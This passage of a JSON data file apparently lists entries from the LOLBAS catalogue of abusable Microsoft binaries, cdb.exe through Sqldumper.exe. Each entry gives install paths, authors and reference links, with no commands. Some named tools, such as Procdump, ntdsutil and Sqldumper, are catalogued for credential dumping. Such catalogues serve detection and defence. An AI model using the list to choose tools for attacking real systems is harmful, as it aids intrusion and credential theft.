Kits\\10\\Debuggers\\x86\\cdb.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Graeber @mattifestation","mr.d0x @mrd0x","Spooky Sec @sec_spooky","Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Cdb/"],"count":3},{"id":"lolbas:coregen-exe","name":"coregen.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe","C:\\Program Files (x86)\\Microsoft Silverlight\\5.1.50918.0\\coregen.exe"],"author":"Martin Sohn Christensen","created":"2020-10-09T00:00:00.000Z","contributors":["Nicky Tyrer","Evan Pena","Casey Erikson"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/coregen/"],"count":3},{"id":"lolbas:createdump-exe","name":"Createdump.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\dotnet\\shared\\Microsoft.NETCore.App\\<version>\\createdump.exe","C:\\Program Files (x86)\\dotnet\\shared\\Microsoft.NETCore.App\\<version>\\createdump.exe","C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\dotnet\\runtime\\shared\\Microsoft.NETCore.App\\6.0.0\\createdump.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\dotnet\\runtime\\shared\\Microsoft.NETCore.App\\6.0.0\\createdump.exe"],"author":"mr.d0x, Daniel Santos","created":"2022-01-20T00:00:00.000Z","contributors":["bopin @bopin2020"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Createdump/"],"count":1},{"id":"lolbas:csi-exe","name":"csi.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["c:\\Program Files (x86)\\Microsoft Visual Studio\\2017\\Community\\MSBuild\\15.0\\Bin\\Roslyn\\csi.exe","c:\\Program Files (x86)\\Microsoft Web Tools\\Packages\\Microsoft.Net.Compilers.X.Y.Z\\tools\\csi.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/csi/"],"count":1},{"id":"lolbas:defaultpack-exe","name":"DefaultPack.EXE","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft\\DefaultPack\\DefaultPack.exe"],"author":"@checkymander","created":"2020-10-01T00:00:00.000Z","contributors":["checkymander @checkymander"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/"],"count":1},{"id":"lolbas:devinit-exe","name":"Devinit.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\Tools\\devinit\\devinit.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\Tools\\devinit\\devinit.exe"],"author":"mr.d0x","created":"2022-01-20T00:00:00.000Z","contributors":["mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devinit/"],"count":1},{"id":"lolbas:devtoolslauncher-exe","name":"Devtoolslauncher.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["c:\\windows\\system32\\devtoolslauncher.exe"],"author":"felamos","created":"2019-10-04T00:00:00.000Z","contributors":["felamos @_felamos"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/"],"count":2},{"id":"lolbas:dnx-exe","name":"dnx.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["no default"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Nelson @enigma0x3"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/dnx/"],"count":1},{"id":"lolbas:dotnet-exe","name":"Dotnet.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\dotnet\\dotnet.exe"],"author":"felamos","created":"2019-11-12T00:00:00.000Z","contributors":["felamos @_felamos","Jimmy @bohops","yamalon @mavinject"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/"],"count":4},{"id":"lolbas:dsdbutil-exe","name":"dsdbutil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":["dsDbUtil.exe"],"fullPath":["C:\\Windows\\System32\\dsdbutil.exe","C:\\Windows\\SysWOW64\\dsdbutil.exe"],"author":"Ekitji","created":"2023-05-31T00:00:00.000Z","contributors":["bohop @bohops","Ekitji @eki_erk"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/dsdbutil/"],"count":5},{"id":"lolbas:dtutil-exe","name":"dtutil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft SQL Server\\<version>\\DTS\\Binn\\dtutil.exe","C:\\Program Files (x86)\\Microsoft SQL Server\\<version>\\DTS\\Binn\\dtutil.exe"],"author":"Avihay Eldad","created":"2024-06-17T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/dtutil/"],"count":1},{"id":"lolbas:dump64-exe","name":"Dump64.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Visual Studio\\Installer\\Feedback\\dump64.exe"],"author":"mr.d0x","created":"2021-11-16T00:00:00.000Z","contributors":["mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dump64/"],"count":1},{"id":"lolbas:dumpminitool-exe","name":"DumpMinitool.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\Extensions\\TestPlatform\\Extensions\\DumpMinitool.exe"],"author":"mr.d0x","created":"2022-01-20T00:00:00.000Z","contributors":["mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/"],"count":1},{"id":"lolbas:dxcap-exe","name":"Dxcap.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Windows\\System32\\dxcap.exe","C:\\Windows\\SysWOW64\\dxcap.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt harr0ey @harr0ey","Vikas Singh @vikas891","Naor Evgi @ghosts621"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/"],"count":2},{"id":"lolbas:ecmangen-exe","name":"ECMangen.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\Bin\\ECMangen.exe","C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\<version>\\Bin\\x64\\ECMangen.exe","C:\\Program Files\\Microsoft\\Exchange Server\\<version>\\Bin\\ECMangen.exe","C:\\Program Files\\Microsoft\\Exchange Server\\Bin\\ECMangen.exe","C:\\Program Files\\Microsoft\\Exchange Server\\ClientAccess\\Bin\\ECMangen.exe","C:\\ExchangeServer\\Bin\\ECMangen.exe"],"author":"Avihay Eldad","created":"2024-04-30T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/ECMangen/"],"count":1},{"id":"lolbas:excel-exe","name":"Excel.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Excel.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Excel.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\Excel.exe","C:\\Program Files\\Microsoft Office\\Office16\\Excel.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\Excel.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\Excel.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\Excel.exe","C:\\Program Files\\Microsoft Office\\Office15\\Excel.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\Excel.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\Excel.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\Excel.exe","C:\\Program Files\\Microsoft Office\\Office14\\Excel.exe","C:\\Program Files (x86)\\Microsoft Office\\Office12\\Excel.exe","C:\\Program Files\\Microsoft Office\\Office12\\Excel.exe","C:\\Program Files\\Microsoft Office\\Office12\\Excel.exe"],"author":"Reegun J (OCBC Bank)","created":"2019-07-19T00:00:00.000Z","contributors":["Reegun J (OCBC Bank) @reegun21"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/"],"count":1},{"id":"lolbas:fsi-exe","name":"Fsi.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\dotnet\\sdk\\<version>\\FSharp\\fsi.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsi.exe"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["Nick Tyrer @NickTyrer","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Fsi/"],"count":2},{"id":"lolbas:fsianycpu-exe","name":"FsiAnyCpu.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\CommonExtensions\\Microsoft\\FSharp\\fsianycpu.exe"],"author":"Jimmy (@bohops)","created":"2021-09-26T00:00:00.000Z","contributors":["Nick Tyrer @NickTyrer","Jimmy @bohops"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/FsiAnyCpu/"],"count":2},{"id":"lolbas:intellitrace-exe","name":"IntelliTrace.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\IntelliTrace\\IntelliTrace.exe"],"author":"Avihay Eldad","created":"2025-09-21T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/IntelliTrace/"],"count":1},{"id":"lolbas:logger-exe","name":"Logger.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\logger.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\logger.exe","C:\\Program Files\\Windows Kits\\10\\Debuggers\\x86\\logger.exe","C:\\Program Files\\Windows Kits\\10\\Debuggers\\x64\\logger.exe"],"author":"Avihay Eldad","created":"2025-07-13T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Logger/"],"count":3},{"id":"lolbas:mftrace-exe","name":"Mftrace.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x86\\mftrace.exe","C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x64\\mftrace.exe","C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x86\\mftrace.exe","C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x64\\mftrace.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["fabrizio @0rbz_"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/"],"count":1},{"id":"lolbas:microsoft-nodejstools-pressanykey-exe","name":"Microsoft.NodejsTools.PressAnyKey.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\<version>\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe"],"author":"mr.d0x","created":"2022-01-20T00:00:00.000Z","contributors":["mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey/"],"count":1},{"id":"lolbas:mpiexec-exe","name":"Mpiexec.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft MPI\\Bin\\mpiexec.exe","C:\\Program Files (x86)\\Microsoft MPI\\Bin\\mpiexec.exe"],"author":"Avihay Eldad","created":"2025-09-25T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mpiexec/"],"count":1},{"id":"lolbas:msaccess-exe","name":"MSAccess.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSAccess.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSAccess.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSAccess.exe","C:\\Program Files\\Microsoft Office\\Office16\\MSAccess.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\MSAccess.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\MSAccess.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\MSAccess.exe","C:\\Program Files\\Microsoft Office\\Office15\\MSAccess.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\MSAccess.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\MSAccess.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSAccess.exe","C:\\Program Files\\Microsoft Office\\Office14\\MSAccess.exe","C:\\Program Files (x86)\\Microsoft Office\\Office12\\MSAccess.exe","C:\\Program Files\\Microsoft Office\\Office12\\MSAccess.exe"],"author":"Nir Chako","created":"2023-04-30T00:00:00.000Z","contributors":["Nir Chako @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/MSAccess/"],"count":1},{"id":"lolbas:mscopilot-exe","name":"Mscopilot.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft\\Copilot\\Application\\mscopilot.exe"],"author":"4n4s4zi","created":"2026-04-14T00:00:00.000Z","contributors":["4n4s4zi @4n4s4zi"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mscopilot/"],"count":1},{"id":"lolbas:mscopilot-proxy-exe","name":"Mscopilot_proxy.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft\\Copilot\\Application\\mscopilot_proxy.exe"],"author":"4n4s4zi","created":"2026-04-14T00:00:00.000Z","contributors":["4n4s4zi @4n4s4zi"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mscopilot_proxy/"],"count":1},{"id":"lolbas:msdeploy-exe","name":"Msdeploy.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe","C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe","C:\\Program Files\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe","C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe","C:\\Program Files\\IIS\\Microsoft Web Deploy V4\\msdeploy.exe","C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V4\\msdeploy.exe","C:\\Program Files\\IIS\\Microsoft Web Deploy V5\\msdeploy.exe","C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V5\\msdeploy.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Pierre-Alexandre Braeken @pabraeken","Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/"],"count":3},{"id":"lolbas:msohtmed-exe","name":"MsoHtmEd.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSOHTMED.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office\\Office16\\MSOHTMED.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\MSOHTMED.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office\\Office15\\MSOHTMED.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\MSOHTMED.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.exe","C:\\Program Files (x86)\\Microsoft Office\\Office12\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office\\Office12\\MSOHTMED.exe","C:\\Program Files\\Microsoft Office\\Office12\\MSOHTMED.exe"],"author":"Nir Chako","created":"2022-07-24T00:00:00.000Z","contributors":["Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/MsoHtmEd/"],"count":1},{"id":"lolbas:mspub-exe","name":"Mspub.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSPUB.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSPUB.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSPUB.exe","C:\\Program Files\\Microsoft Office\\Office16\\MSPUB.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\MSPUB.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\MSPUB.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\MSPUB.exe","C:\\Program Files\\Microsoft Office\\Office15\\MSPUB.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\MSPUB.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\MSPUB.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.exe","C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.exe"],"author":"Nir Chako","created":"2022-08-02T00:00:00.000Z","contributors":["Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mspub/"],"count":1},{"id":"lolbas:msxsl-exe","name":"msxsl.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["no default"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Casey Smith @subtee","Ronnie Salomonsen @r0ns3n"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/msxsl/"],"count":6},{"id":"lolbas:nmcap-exe","name":"Nmcap.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft Network Monitor 3\\nmcap.exe","C:\\Program Files (x86)\\Microsoft Network Monitor 3\\nmcap.exe"],"author":"Avihay Eldad","created":"2025-09-16T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Nmcap/"],"count":1},{"id":"lolbas:ntdsutil-exe","name":"ntdsutil.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Windows\\System32\\ntdsutil.exe"],"author":"Tony Lambert","created":"2020-01-10T00:00:00.000Z","contributors":["Sean Metcalf @PyroTek3"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/ntdsutil/"],"count":1},{"id":"lolbas:ntsd-exe","name":"Ntsd.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\ntsd.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\ntsd.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\ntsd.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm64\\ntsd.exe"],"author":"Avihay Eldad","created":"2025-07-16T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Ntsd/"],"count":1},{"id":"lolbas:openconsole-exe","name":"OpenConsole.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe","C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os86\\OpenConsole.exe","C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe","C:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\\OpenConsole.exe"],"author":"Nasreddine Bencherchali","created":"2022-06-17T00:00:00.000Z","contributors":["Nasreddine Bencherchali @nas_bench"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/OpenConsole/"],"count":1},{"id":"lolbas:outlook-exe","name":"Outlook.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Outlook.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Outlook.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\Outlook.exe","C:\\Program Files\\Microsoft Office\\Office16\\Outlook.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\Outlook.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\Outlook.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\Outlook.exe","C:\\Program Files\\Microsoft Office\\Office15\\Outlook.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\Outlook.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\Outlook.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\Outlook.exe","C:\\Program Files\\Microsoft Office\\Office14\\Outlook.exe","C:\\Program Files (x86)\\Microsoft Office\\Office12\\Outlook.exe","C:\\Program Files\\Microsoft Office\\Office12\\Outlook.exe","C:\\Program Files\\Microsoft Office\\Office12\\Outlook.exe"],"author":"Nir Chako","created":"2022-11-08T00:00:00.000Z","contributors":["Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Outlook/"],"count":1},{"id":"lolbas:pixtool-exe","name":"Pixtool.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft PIX\\pixtool.exe","C:\\Program Files (x86)\\Microsoft PIX\\pixtool.exe"],"author":"Avihay Eldad","created":"2025-09-21T00:00:00.000Z","contributors":["Avihay Eldad @AvihayEldad"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Pixtool/"],"count":1},{"id":"lolbas:powerpnt-exe","name":"Powerpnt.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Powerpnt.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Powerpnt.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\Powerpnt.exe","C:\\Program Files\\Microsoft Office\\Office16\\Powerpnt.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\Powerpnt.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\Powerpnt.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\Powerpnt.exe","C:\\Program Files\\Microsoft Office\\Office15\\Powerpnt.exe","C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\Powerpnt.exe","C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\Powerpnt.exe","C:\\Program Files (x86)\\Microsoft Office\\Office14\\Powerpnt.exe","C:\\Program Files\\Microsoft Office\\Office14\\Powerpnt.exe","C:\\Program Files (x86)\\Microsoft Office\\Office12\\Powerpnt.exe","C:\\Program Files\\Microsoft Office\\Office12\\Powerpnt.exe","C:\\Program Files\\Microsoft Office\\Office12\\Powerpnt.exe"],"author":"Reegun J (OCBC Bank)","created":"2019-07-19T00:00:00.000Z","contributors":["Reegun J (OCBC Bank) @reegun21"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/"],"count":1},{"id":"lolbas:procdump-exe","name":"Procdump.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":["Procdump64.exe"],"fullPath":["no default"],"author":"Alfie Champion (@ajpc500)","created":"2020-10-14T00:00:00.000Z","contributors":["Alfie Champion @ajpc500"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Procdump/"],"count":2},{"id":"lolbas:protocolhandler-exe","name":"ProtocolHandler.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\ProtocolHandler.exe","C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\ProtocolHandler.exe","C:\\Program Files (x86)\\Microsoft Office\\Office16\\ProtocolHandler.exe","C:\\Program Files\\Microsoft Office\\Office16\\ProtocolHandler.exe","C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\ProtocolHandler.exe","C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\ProtocolHandler.exe","C:\\Program Files (x86)\\Microsoft Office\\Office15\\ProtocolHandler.exe","C:\\Program Files\\Microsoft Office\\Office15\\ProtocolHandler.exe"],"author":"Nir Chako","created":"2022-07-24T00:00:00.000Z","contributors":["Nir Chako (Pentera) @C_h4ck_0"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/"],"count":1},{"id":"lolbas:rcsi-exe","name":"rcsi.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["no default"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Matt Nelson @enigma0x3"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/rcsi/"],"count":2},{"id":"lolbas:remote-exe","name":"Remote.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\remote.exe","C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\remote.exe"],"author":"mr.d0x","created":"2021-06-01T00:00:00.000Z","contributors":["mr.d0x @mrd0x"],"references":["https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/"],"count":3},{"id":"lolbas:sqldumper-exe","name":"Sqldumper.exe","source":"LOLBAS","platform":["Windows"],"toolType":"OtherMSBinary","aliases":[],"fullPath":["C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\SQLDumper.exe","C:\\Program Files (x86)\\Microsoft Office\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis\\AS OLEDB\\140\\SQLDumper.exe","C:\\Program Files\\Microsoft Power BI Desktop\\bin\\SqlDumper.exe"],"author":"Oddvar Moe","created":"2018-05-25T00:00:00.000Z","contributors":["Luis Rocha 